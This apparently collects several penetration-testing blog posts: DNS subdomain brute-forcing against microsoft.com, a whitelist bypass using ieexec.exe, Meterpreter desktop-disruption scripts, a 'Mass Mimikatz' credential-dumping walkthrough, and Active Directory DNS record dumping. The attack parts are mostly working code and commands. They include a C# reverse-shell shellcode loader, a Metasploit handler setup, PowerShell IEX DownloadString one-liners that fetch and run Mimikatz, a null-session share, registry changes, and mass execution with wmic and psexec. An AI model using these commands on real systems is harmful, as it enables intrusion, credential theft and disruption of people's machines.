Room362.com

Blatherings of a security addict.

Iterative DNS Brute Forcing

| Comments

Everyone has their list of hostnames they brute force domains with. In my last post I even mentioned a few ways to use one with XARGS or PARALLEL. But one fact about wordlist brute forcing is that there is no “one list to rule them all”. But over the years of doing DNS record collection I have noticed one thing, most domains have a large number of short hostnames that are easy to remember, usually 4 characters or less.

I’m sure you already know where I’m going with this, I wanted to brute force all possible hostnames up to 4 characters. For a long time I struggled with coding this, but couldn’t wrap my head around it. I would come back to it every so often, finally a few days ago I happened upon a script on gist: https://gist.github.com/petehamilton/4755855 that suited my needs perfectly.

I modified it to suite my needs (just use the yield method) and here is what I ended up with (remember DNS is case insensitive):

Notice: This script doesn’t end, it will keep doing lookups on longer and longer hostnames until you hit CTRL-C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

@domain = 'microsoft.com'

def result?(sub)
  results = %x(dig +noall #{sub}.#{@domain} +answer)
  if results != ""
      puts "============================"
      puts "FOUND: \t#{sub}"
      puts "============================"
      puts "#{results}"
      puts "============================"
  end
  1 == 2
end

def crack_yielding(chars)
  crack_yield(chars){ |p|
      return p if result?(p)
  }
end


def crack_yield(chars)
  chars.each { |c| yield c }

  crack_yield(chars) { |c|
      chars.each do |x|
          yield c + x
      end
  }
end

chars = ('a'..'z').to_a
(0..9).each {|x| chars << x.to_s} 

crack_yielding(chars)

This worked but it was slow, so I sped it up using methods that I talked about in my last post and a quick modification:

I used this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env ruby

#
## Brute code stolen form: https://gist.github.com/petehamilton/4755855
#

def result?(sub)
  puts sub    
  1 == 2
end

def crack_yielding(chars)
  crack_yield(chars){ |p|
      return p if result?(p)
  }
end


def crack_yield(chars)
  chars.each { |c| yield c }

  crack_yield(chars) { |c|
      chars.each do |x|
          yield c + x
      end
  }
end

chars = ('a'..'z').to_a
(0..9).each {|x| chars << x.to_s} 

crack_yielding(chars)

which just prints all the possibilities:

1
2
3
4
5
6
7
a
b
c
d
e
f
...

and piped it into parallel + dig:

1
ruby brutelist.rb | parallel -j100 dig +noall {}.microsoft.com +answer

and got the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
c.microsoft.com. 2   IN  CNAME   c.microsoft.akadns.net.
c.microsoft.akadns.net.   499 IN  A   65.55.58.184
e.microsoft.com.  3599    IN  A   191.234.1.50
g.microsoft.com.  2798    IN  CNAME   g.msn.com.
g.msn.com.        99  IN  CNAME   g.msn.com.nsatc.net.
g.msn.com.nsatc.net.  148 IN  A   131.253.34.154
i.microsoft.com.  779 IN  CNAME   i.toggle.www.ms.akadns.net.
i.toggle.www.ms.akadns.net. 44    IN  CNAME   i.g.www.ms.akadns.net.
i.g.www.ms.akadns.net.    225 IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 116 IN CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   16  IN  A   23.45.65.26
a1475.g.akamai.net.   16  IN  A   23.45.65.33
m.microsoft.com.  3599    IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 299 IN   A   65.55.186.235
s.microsoft.com.  3599    IN  CNAME   reroute.microsoft.com.
reroute.microsoft.com.    3599    IN  A   65.55.58.201
reroute.microsoft.com.    3599    IN  A   64.4.11.37
cs.microsoft.com. 81  IN  CNAME   wedcs.trafficmanager.net.
wedcs.trafficmanager.net. 7   IN  CNAME   wedcseus.cloudapp.net.
wedcseus.cloudapp.net.    8   IN  A   137.116.48.250
...

Happy bruting. Both scripts can be found on my gists page:

Hostname Bruteforcing on the Cheap

| Comments


Quick update: As @MikeDamm points out, xargs has a -P option that can do the same thing I’m using parallel for. If you have a supported version of xargs you can use -P 0 to do the same thing as -j0 with parallel, but if your version doesn’t support the 0 you can simply use the same number parallel uses ala:

  • cat subdomains.txt | xargs -P 122 -I subdomain dig +noall subdomain.microsoft.com +answer

This results in roughly the same completion time as it’s parallel counterpart. Thanks @MikeDamm!


There are some great discussions on the NoVA Hackers mailing list. One such discussion was about what the best way to do dns hostname brute forcing was and which tool is better than another. For me, I just use the command line and then parse the results (or just ask the deepmagic.com database ;–)

Here is what I do:

First, you need a good list of DNS sub domains / hostnames. Personally I use the list provided over at http://www.ethicalhack3r.co.uk/zone-transfers-on-the-alexa-top-1-million/ (with a few minor tweaks). If you haven’t read that post and follow-on posts you really should. But take the list and save it locally. Then just run the following command:

  • cat subdomains.txt | xargs -t -I subdomain dig +noall subdomain.microsoft.com +answer

Now, xargs is great but does one thing at a time and can be quite slow if your subdomains list is large. With the use of the amazing tool GNU parallel you can get done in a matter of seconds, well, that or knock over your home router.

  • cat subdomains.txt | parallel -k -j0 dig +noall {}.microsoft.com +answer

Warning: the -j0 option maxes out the possible file handles and jobs that your CPU/kernel can handle, which usually destroys VMs. Just a smaller job count like 100 or 50 if you want the speed without the crash ;–)

with an output something list this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
parallel: Warning: Only enough file handles to run 122 jobs in parallel.
Raising ulimit -n or /etc/security/limits.conf may help.
parallel: Warning: No more file handles. Raising ulimit -n or /etc/security/limits.conf may help.
mail.microsoft.com.   2369    IN  A   131.107.125.5
www.microsoft.com.    0   IN  CNAME   toggle.www.ms.akadns.net.
toggle.www.ms.akadns.net. 0   IN  CNAME   g.www.ms.akadns.net.
g.www.ms.akadns.net.  0   IN  CNAME   lb1.www.ms.akadns.net.
lb1.www.ms.akadns.net.    263 IN  A   64.4.11.42
m.microsoft.com.  0   IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 300 IN   A   65.55.186.235
ftp.microsoft.com.    0   IN  CNAME   ftp.microsoft.akadns.net.
ftp.microsoft.akadns.net. 259 IN  A   64.4.17.176
mobile.microsoft.com. 0   IN  CNAME   origin.mobile.ms.akadns.net.
origin.mobile.ms.akadns.net. 300 IN   A   65.55.186.235
smtp.microsoft.com.   3600    IN  A   131.107.115.215
smtp.microsoft.com.   3600    IN  A   131.107.115.214
smtp.microsoft.com.   3600    IN  A   205.248.106.64
smtp.microsoft.com.   3600    IN  A   205.248.106.30
smtp.microsoft.com.   3600    IN  A   205.248.106.32
smtp.microsoft.com.   3600    IN  A   131.107.115.212
search.microsoft.com. 0   IN  CNAME   search.microsoft.akadns.net.
search.microsoft.akadns.net. 0    IN  CNAME   search.msn.com.edgesuite.net.
search.msn.com.edgesuite.net. 0   IN  CNAME   a134.g.akamai.net.
a134.g.akamai.net.    19  IN  A   209.107.220.27
a134.g.akamai.net.    19  IN  A   209.107.220.35
dev.microsoft.com.    0   IN  CNAME   msdn.microsoft.com.
msdn.microsoft.com.   0   IN  CNAME   msdn.microsoft.akadns.net.
msdn.microsoft.akadns.net. 600    IN  A   157.56.148.19
img.microsoft.com.    0   IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 0 IN   CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   20  IN  A   165.254.158.48
a1475.g.akamai.net.   20  IN  A   165.254.158.9
news.microsoft.com.   0   IN  CNAME   msnews.microsoft.com.
msnews.microsoft.com. 3600    IN  A   207.46.248.16
mail2.microsoft.com.  3600    IN  A   131.107.115.215
beta.microsoft.com.   0   IN  CNAME   connect.microsoft.akadns.net.
connect.microsoft.akadns.net. 300 IN  A   65.52.103.84
support.microsoft.com.    0   IN  CNAME   mso-geo.microsoft.akadns.net.
mso-geo.microsoft.akadns.net. 0   IN  CNAME   support.microsoft.akadns.net.
support.microsoft.akadns.net. 175 IN  A   157.56.56.139
my.microsoft.com. 3600    IN  A   134.170.255.29
help.microsoft.com.   0   IN  CNAME   help.msn.com.
mail3.microsoft.com.  3600    IN  A   131.107.115.214
download.microsoft.com.   0   IN  CNAME   download.microsoft.com.nsatc.net.
download.microsoft.com.nsatc.net. 0 IN    CNAME   main.dl.ms.akadns.net.
main.dl.ms.akadns.net.    0   IN  CNAME   download.microsoft.com.edgesuite.net.
download.microsoft.com.edgesuite.net. 0   IN CNAME a954.dscms.akamai.net.
a954.dscms.akamai.net.    0   IN  CNAME   a954.dscms.akamai.net.0.1.cn.akamaitech.net.
a954.dscms.akamai.net.0.1.cn.akamaitech.net. 1 IN A 69.31.75.184
a954.dscms.akamai.net.0.1.cn.akamaitech.net. 1 IN A 69.31.75.168
shop.microsoft.com.   3600    IN  A   64.4.11.37
shop.microsoft.com.   3600    IN  A   65.55.58.201
games.microsoft.com.  3600    IN  A   207.46.166.10
business.microsoft.com.   3600    IN  A   65.55.57.98
ws.microsoft.com. 0   IN  CNAME   ws.microsoft.com.nsatc.net.
gateway.microsoft.com.    3600    IN  A   131.107.16.142
gateway.microsoft.com.    3600    IN  A   131.107.16.143
members.microsoft.com.    0   IN  CNAME   members.microsoft.akadns.net.
members.microsoft.akadns.net. 219 IN  A   65.55.57.28
c.microsoft.com.  0   IN  CNAME   c.microsoft.akadns.net.
c.microsoft.akadns.net.   215 IN  A   65.55.58.199
g.microsoft.com.  0   IN  CNAME   g.msn.com.
g.msn.com.        0   IN  CNAME   g.msn.com.nsatc.net.
g.msn.com.nsatc.net.  142 IN  A   131.253.34.154
mail4.microsoft.com.  3600    IN  A   205.248.106.64
mail1.microsoft.com.  3600    IN  A   131.107.115.212
apps.microsoft.com.   0   IN  CNAME   apps.windows.akadns.net.
apps.windows.akadns.net. 0    IN  CNAME   services.windows.akadns.net.
services.windows.akadns.net. 0    IN  CNAME   services-perf.windows.akadns.net.
services-perf.windows.akadns.net. 46 IN   A   134.170.30.204
email.microsoft.com.  1989    IN  A   157.55.150.73
i.microsoft.com.  0   IN  CNAME   i.toggle.www.ms.akadns.net.
i.toggle.www.ms.akadns.net. 0 IN  CNAME   i.g.www.ms.akadns.net.
i.g.www.ms.akadns.net.    0   IN  CNAME   i.microsoft.com.edgesuite.net.
i.microsoft.com.edgesuite.net. 0 IN   CNAME   a1475.g.akamai.net.
a1475.g.akamai.net.   8   IN  A   23.62.111.114
a1475.g.akamai.net.   8   IN  A   23.62.111.104
s.microsoft.com.  0   IN  CNAME   reroute.microsoft.com.
reroute.microsoft.com.    3600    IN  A   64.4.11.37
reroute.microsoft.com.    3600    IN  A   65.55.58.201
community.microsoft.com. 0    IN  CNAME   communities.microsoft.com.
communities.microsoft.com. 3600   IN  A   64.4.11.37
communities.microsoft.com. 3600   IN  A   65.55.58.201
connect.microsoft.com.    0   IN  CNAME   connect.microsoft.akadns.net.
connect.microsoft.akadns.net. 152 IN  A   65.52.103.84
rss.microsoft.com.    796 IN  A   65.55.58.201
rss.microsoft.com.    796 IN  A   64.4.11.37
home.microsoft.com.   0   IN  CNAME   redir.blu.cb3.glbdns.microsoft.com.
redir.blu.cb3.glbdns.microsoft.com. 116   IN A    65.55.206.229
jp.microsoft.com. 3600    IN  A   65.55.58.201
jp.microsoft.com. 3600    IN  A   64.4.11.37
labs.microsoft.com.   3600    IN  A   64.4.11.37
labs.microsoft.com.   3600    IN  A   65.55.58.201
exchange.microsoft.com.   2120    IN  A   65.55.31.35
marketing.microsoft.com. 3600 IN  A   207.46.242.110
mac.microsoft.com.    3600    IN  A   64.4.11.37
mac.microsoft.com.    3600    IN  A   65.55.58.201
feeds.microsoft.com.  3600    IN  A   65.55.57.98
partners.microsoft.com.   0   IN  CNAME   pmc.partners.microsoft.akadns.net.
pmc.partners.microsoft.akadns.net. 300 IN A   131.107.119.14
feed.microsoft.com.   0   IN  CNAME   feed.trafficmanager.net.
feed.trafficmanager.net. 0    IN  CNAME   feedna.cloudapp.net.
feedna.cloudapp.net.  10  IN  A   65.52.9.172
partner.microsoft.com.    0   IN  CNAME   portal.partners.microsoft.akadns.net.
portal.partners.microsoft.akadns.net. 300 IN A    131.107.119.163
cs.microsoft.com. 0   IN  CNAME   wedcs.trafficmanager.net.
wedcs.trafficmanager.net. 0   IN  CNAME   wedcseus.cloudapp.net.
wedcseus.cloudapp.net.    10  IN  A   137.116.48.250
forums.microsoft.com. 0   IN  CNAME   forums.microsoft.akadns.net.
forums.microsoft.akadns.net. 600 IN   A   65.52.103.99
meet.microsoft.com.   3600    IN  A   131.107.1.71
e.microsoft.com.  3600    IN  A   191.234.1.50
autodiscover.microsoft.com. 2358 IN   A   131.107.125.5
im.microsoft.com. 3600    IN  A   131.107.1.75
sip.microsoft.com.    2228    IN  A   65.55.30.130
me.microsoft.com. 0   IN  CNAME   edm.cloudapp.net.
dig: 'm..microsoft.com' is not a legal name (empty label)
billing.microsoft.com.    0   IN  CNAME   paymenthubprod.trafficmanager.net.
paymenthubprod.trafficmanager.net. 0 IN   CNAME   paymenthubuxprod1.cloudapp.net.
paymenthubuxprod1.cloudapp.net.   10 IN   A   168.62.198.20
profile.microsoft.com.    0   IN  CNAME   profile.microsoft.akadns.net.
profile.microsoft.akadns.net. 335 IN  A   64.4.11.47
research.microsoft.com.   806 IN  A   131.107.65.14
sharepoint.microsoft.com. 3463    IN  A   64.4.6.100
sharepoint.microsoft.com. 3463    IN  A   65.55.39.10
appdev.microsoft.com. 0   IN  CNAME   appdev.windows.akadns.net.
appdev.windows.akadns.net. 131    IN  A   134.170.30.200
newsletters.microsoft.com. 3150   IN  A   207.46.248.35
advertising.microsoft.com. 0  IN  CNAME   advertising.microsoft.com.nsatc.net.
advertising.microsoft.com.nsatc.net. 245 IN A 65.52.100.46
catalog.microsoft.com.    0   IN  CNAME   genuine.microsoft.akadns.net.
genuine.microsoft.akadns.net. 300 IN  A   65.55.58.177
social.microsoft.com. 0   IN  CNAME   lb.social.ms.akadns.net.
lb.social.ms.akadns.net. 54   IN  A   65.52.103.78
events.microsoft.com. 1776    IN  A   64.4.11.31
events.microsoft.com. 1776    IN  A   65.55.58.192
ajax.microsoft.com.   0   IN  CNAME   mscomajax.vo.msecnd.net.
mscomajax.vo.msecnd.net. 208  IN  A   65.54.81.164
mscomajax.vo.msecnd.net. 208  IN  A   65.54.81.12
developer.microsoft.com. 0    IN  CNAME   msdn.microsoft.com.
msdn.microsoft.com.   0   IN  CNAME   msdn.microsoft.akadns.net.
msdn.microsoft.akadns.net. 600    IN  A   157.56.148.19
bbs.microsoft.com.    0   IN  CNAME   transfer.microsoft.com.
transfer.microsoft.com.   3600    IN  A   64.4.10.152
backoffice.microsoft.com. 3600    IN  A   64.4.11.37
backoffice.microsoft.com. 3600    IN  A   65.55.58.201

Application Whitelist Bypass Using IEexec.exe

| Comments

Guest post by @infosecsmith2

There was a recent presentation at DerbyCon, entitled:

Living Off the Land: A Minimalist’s Guide to Windows Post-Exploitation by Christopher Campbell & Matthew Graeber

I highly recommend that you start with this presentation as it lays the foundation for this post.

The premise is, how can we maintain persistence in a corporate environment, using tools and defaults provided by the host OS we have compromised. This is a very important concept, given the shift in many organizations to an Application Whitelisting Defense model.

It is only a matter of time before time before you might encounter an Application Whitelisting Defense.

As a follow up to that presentation, I began exploring the binaries that ship by default with Windows. That is where I stumbled across a binary in the C:\Windows\Microsoft.NET\Framework64\v2.0.50727 path.

The Executable is ieexec.exe. A write up is here: http://support.microsoft.com/kb/822485

“The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.”

Excellent! So, now we just need to host our malicious binary , and call it from ieexec.exe.

This is great, since most Application Whitelisting Environments are going to “Trust” anything signed my Microsoft as a matter of convenience. IEexec.exe will download and execute our code for us, all under the trusted process.

So lets get started!

Step 1. Prepare your Shellcode, or whatever malicious app you want. I compiled my executable using SharpDevelop, since it has less footprint than a full blown Visual Studio install. From msfconsole:

1
2
3
4
5
6
7
8
msf > use windows/x64/shell/reverse_tcp
msf payload(reverse_tcp) > set LHOST x.x.x.x
msf payload(reverse_tcp) > set LPORT 443
msf payload(reverse_tcp) > generate -t csharp
byte[] buf = new byte[422] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52...

 <Snipped Full ShellCode for Brevity>

Step 2. Create the .NET wrapper application

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
using System;
using System.Runtime.InteropServices;
namespace native
{
    class Program
    {
            private static UInt32 MEM_COMMIT = 0x1000;
            private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            private static UInt32 MEM_RELEASE = 0x8000;

        public static void Main(string[] args)
        {
            // native function's compiled code 

            byte[] proc = new byte[] {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52...

            //Edited ShellCode For Brevity 
            };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // prepare data 

            PROCESSOR_INFO info = new PROCESSOR_INFO();
            IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
            Marshal.StructureToPtr(info, pinfo, false);

            // execute native code 

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            // retrive data 

            info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
            Marshal.FreeHGlobal(pinfo);
            CloseHandle(hThread);
            VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
        }

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId );

        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds );

        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle( string moduleName );

        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress( IntPtr hModule, string procName );

        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary( string lpFileName );

        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();
        
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESSOR_INFO
        {
            public UInt32 dwMax;
            public UInt32 id0;
            public UInt32 id1;
            public UInt32 id2;
            public UInt32 dwStandard;
            public UInt32 dwFeature;

            // if AMD 
            public UInt32 dwExt;
        }
    }
}

You will want to compile the exe for the target platform. In this case I am going for an x64 target. Also, you will want to compile for 2.0 or 3.5 Framework.

Step 3. Host the Exe. For this example, I used Mongoose. Simple and Effective:

http://code.google.com/p/mongoose/

By default Mongoose listens on port 8080. This is configurable. Simple place your compiled binary from step 2 into the same directory as Mongoose. Start Mongoose and you are almost ready to deliver your payload.

Step 4. Setup your receiver:

1
2
3
4
5
msf payload(reverse_tcp) > use exploit/multi/handler
msf exploit(handler) > set LHOST x.x.x.x
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set PAYLOAD windows/x64/shell/reverse_tcp
msf exploit(handler) > exploit -j

Step 5. From the host that is protected via Whitelisting. Open 2 Command Prompts as administrator.

CMD 1 Execute:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off

CMD 2 Execute:

1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>ieexec.exe http://x.x.x.x:8080/bypass.exe

There is some detail to unpack here, I can go over later, as to why we need to run caspol.exe. Here’s the behavior I saw in our experimentation with this.

Initial attempt to run our rogue binary fails, since it is unknown/untrusted/unapproved:

Now, on the same host…

Executes just fine!

Its important to distinguish what this technique is and what it is not. This is not an exploit or vulnerability. Rather this is one way to execute arbitraty code in an Application Whitelisting Environment.

Summary:

In this document we learned that even if a host is in a mode where only trusted approved applications can run. IEexec.exe can be used in certain situations to circumvent a Whitelist, since it is likely a trusted binary, since it is signed by Microsoft.

Cheers,

=> @infosecsmith2

ExtAPI Pranks

| Comments

Since I’ve been gone, OJ has released the ExtAPI (Extended API) for Meterpreter. This has some pretty amazing functionality. You can find OJ’s write up on it and more amazing things he did in 3 months of meterpreter and on the Metasploit blog.

Just brushing the surface and to help people see the power of this new functionality I went ahead and created a few Meterpreter scripts that can really mess with someone.

1st is a script that loops through all of the windows for your current user and sets the focus to them in rotation. Essentially making their machine unusable.

1
2
3
4
5
6
7
8
9
10
11
12
13
# Code loops around each of the windows
# that the current user has open and switches
# focus to each of them in rotation... 100 times.

(0..100).each do |x|
  windows = client.extapi.window.enumerate
  windows.each do |winder|
      if winder[:title] != 'Default IME'
          result = client.railgun.user32.SetForegroundWindow(winder[:handle])
      end
  end
  print_status("Round #{x}")
end

2nd just sets all of the windows title’s the say “hacked”

1
2
3
4
5
6
windows = client.extapi.window.enumerate
windows.each do |winder|
  if winder[:title] != 'Default IME'
    result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
  end
end

and finally if in Windows if you close all of the windows, including “invisible” ones like Explorer, you will essentially make the machine unusable.

1
2
3
4
windows = client.extapi.window.enumerate
windows.each do |winder|
  result = client.railgun.user32.CloseWindow(winder[:handle])
end

OJ suggested a few other options:

Destroy:

1
2
3
4
windows = client.extapi.window.enumerate
windows.each do |winder|
    result = client.railgun.user32.DestroyWindow(winder[:handle])
end

or Minimize all:

1
2
3
4
windows = client.extapi.window.enumerate
windows.each do |winder|
    result = client.railgun.user32.ShowWindow(winder[:handle], 6)
end

Thats it for now, next up we will do a few things with services as well as the clipboard. Stay tuned!

Alive Again

| Comments

I’ve taken a rather long hiatus from blogging. This is mostly because I was fed up with the blogging platform that I had (Squarespace) and didn’t really have any alternatives that met all of the features I wanted.

So, where am I at now? Github actually. Github allows users to create “Github Pages” for repositories (or be it’s own repo). For the most part these pages are written in Markdown. It’s late and I don’t feel like looking up who, but someone created a project called “Jekyll” which is a Ruby based static page generator and then another project called “Octopress” popped up using Jekyll to create a static html based blogging platform.

It’s a bit of a pain in the butt to use and learn, but once you have a few things automated it gets simpler. It also hits the most bullet points of any other option.

Expect things to pick up pretty quickly here, but as I’m typing this I’m already thinking that promising something like that is a bad idea. We’ll see how it goes, it’s just good to be back.

Dumping a Domain Worth of Passwords With Mimikatz

| Comments

clymb3r recently posted a script called “Invoke-Mimikatz.ps1” basically what this does is reflectively injects mimikatz into memory, calls for all the logonPasswords and exits. It even checks the targets architecture (x86/x64) first and injects the correct DLL.

You can very easily use this script directly from an admin command prompt as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

(This works REALLY well for Citrix and Kiosk scenarios and it’s too hard to type/remember) This runs the powershell script by directly pulling it from Github and executing it “in memory” on your system.

One of the awesome added capabilities for this script is to run on a list of hosts. as so:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2')"

This works great as all the output is directly on your system and all executed through Powershell Remoting. Powershell Remoting is pretty much the same as WinRM. This service however is not enabled by default and can be pretty hit or miss on how much any given enterprise uses WinRM. However, it is usually the servers and more important systems that have it enabled more often than not.

You can find WinRM / PowerShell Remoting by scanning for the service port 47001 as well as the default comm ports for WinRM 5985 (HTTP) and 5986 (HTTPS).

If you find that your target isn’t a WinRM rich environment or you just want more passwords you can take a slightly more painful route, I call it “Mass Mimikatz”

Step 1. Make a share, we are doing this so we can not only collect the output of all our computers passwords, but to host the CMD batch file that will run the powershell script:

cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t

We are setting “Everyone” permissions on a Share (net share) and NTFS (icacls) level for this to work properly.

Step 2. Set registry keys. There are two registry keys that we need to set. The first allows Null Sessions to our new share and the second allows null users to have the “Everyone” token so that we don’t have to get crazy with our permissions. I have create a meterpreter script that has a bunch of error checking here: massmimi_reg.rb or you can just make the following changes”

HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ  = open
HKLM\System\CurrentControlSet\Contol\Lsa "EveryoneIncludesAnonymous" = 1

Step 3. Change directory into new “open” directory. This is so our uploads and in particular our web server will be hosted out of the correct directory.

Step 4. Upload powershell script powermeup.cmd – this script will run our hosted Invoke-Mimikatz script on each host:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.127:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.127\open\%COMPUTERNAME%.txt 2>&1

Step 5. Upload clymb3r’s Invoke-Mimikatz ps1 – Download from PowerSploit repo: source on github

Step 6. Upload mongoose: Downloads Page – Both regular and tiny versions work. This is an awesome, single executable webserver that supports LUA, Sqlite, and WebDAV out of the box. Tiny version is under 100k.

Step 7. Upload serverlist.txt – This is a line by line list of computer names to use mimikatz on. You’ll have to gather this one way or another.

Step 8. Execute mongoose (from directory with mimikatz.ps1) – This will start a listener with directory listings enabled on port 8080 by default

Step 9a. Execute wmic:

wmic /node:@serverlist.txt process call create "\\192.168.92.127\open\powershellme.cmd"

Step 9b. Execute wmic with creds:

wmic /node:@serverlist.txt /user:PROJECTMENTOR\jdoe /password:ASDqwe123 process call create "\\192.168.92.127\open\powershellme.cmd"

Step 10. Watch as text files full of wonder and joy fill your share.

You can find the scripts here: https://github.com/mubix/post-exploitation/tree/master/scripts/mass_mimikatz

Don’t forget to clean up::

  1. kill mongoose process
  2. net share open /delete
  3. kill/reset registry values
  4. delete “open” directory

Got a better way of getting this done? Please leave a comment.

P.S. You could just enable Powershell Remoting for them ;)

psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"

AD Zone Transfers as a User

| Comments

_cross posted from: http://carnal0wnage.attackresearch.com/2013/10/ad-zone-transfers-as-user.html_

The tired and true method for Zone Transfers are using either nslookup:

1
2
nslookup
ls -d domain.com.local

Or dig:

1
dig -t AXFR domain.com.local @ns1.domain.com.local

In the Windows Enterprise world there are a few more options. If you are a DNS Admin you can use the ‘dnscmd’ command like so:

1
2
dnscmd /EnumZones
dnscmd /ZonePrint domain.com.local

Which is handy if you can pop the DNS server (usually the Domain Controller so you usually have better things to do at that point).

You can also use PowerShell:

PS C:\Users\jdoe> get-wmiobject -ComputerName dc1 -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "domainname='projectmentor.net'" | select textrepresentation

Again, this requires you to be a very high privileged account, which is no fun. I need these computer lists as part of my internal / post-exploitation recon, not an end step.

For the longest time I relied on a very awesome tool called “Adfind”:

1
adfind -sc computers_active -csv -nodn -nocsvq -nocsvheader

This command will output a list of computer accounts that have been active in the last 90 days in a straight line by line format (hence all of the no “this”and no “that” flags)

But that wasn’t good enough, this image kept haunting me:

It’s Active Directory Explorer by SysInternals. It shows the complete list of DNS records, stored as objects in Active Directory that I was able to get to as a basic domain user. This means all of the static DNS records for the unix systems and mainframes and other systems outside of the purely Windows world are there as well.

I spent 4 days attempting to write my own script, ldap query, prayer to get all of the data out but was unsuccessful. On the 5th day I happened upon a very short post saying “I did it”, as I probably would have written the same. It comes in the form of a PowerShell script that you can find here:

Code: https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1

And is very easy to run:

PS C:\Users\jdoe> dns-dump.ps1 -zone projectmentor.net -dc dc1

or

C:\> powershell -ep bypass -f dnsdump.ps1 -zone projectmentor.net -dc dc1

If you put a -csv on the end of those the author has even given you the CSV format which makes the output extremely easy to parse. Now you can throw your list into your tool of choice instead of scanning random IP ranges on the targets network for important stuff you can scan directly against known good hosts.

— mubix

P.S. Yes I realize this isn’t actually “Zone Transfer”s but its close enough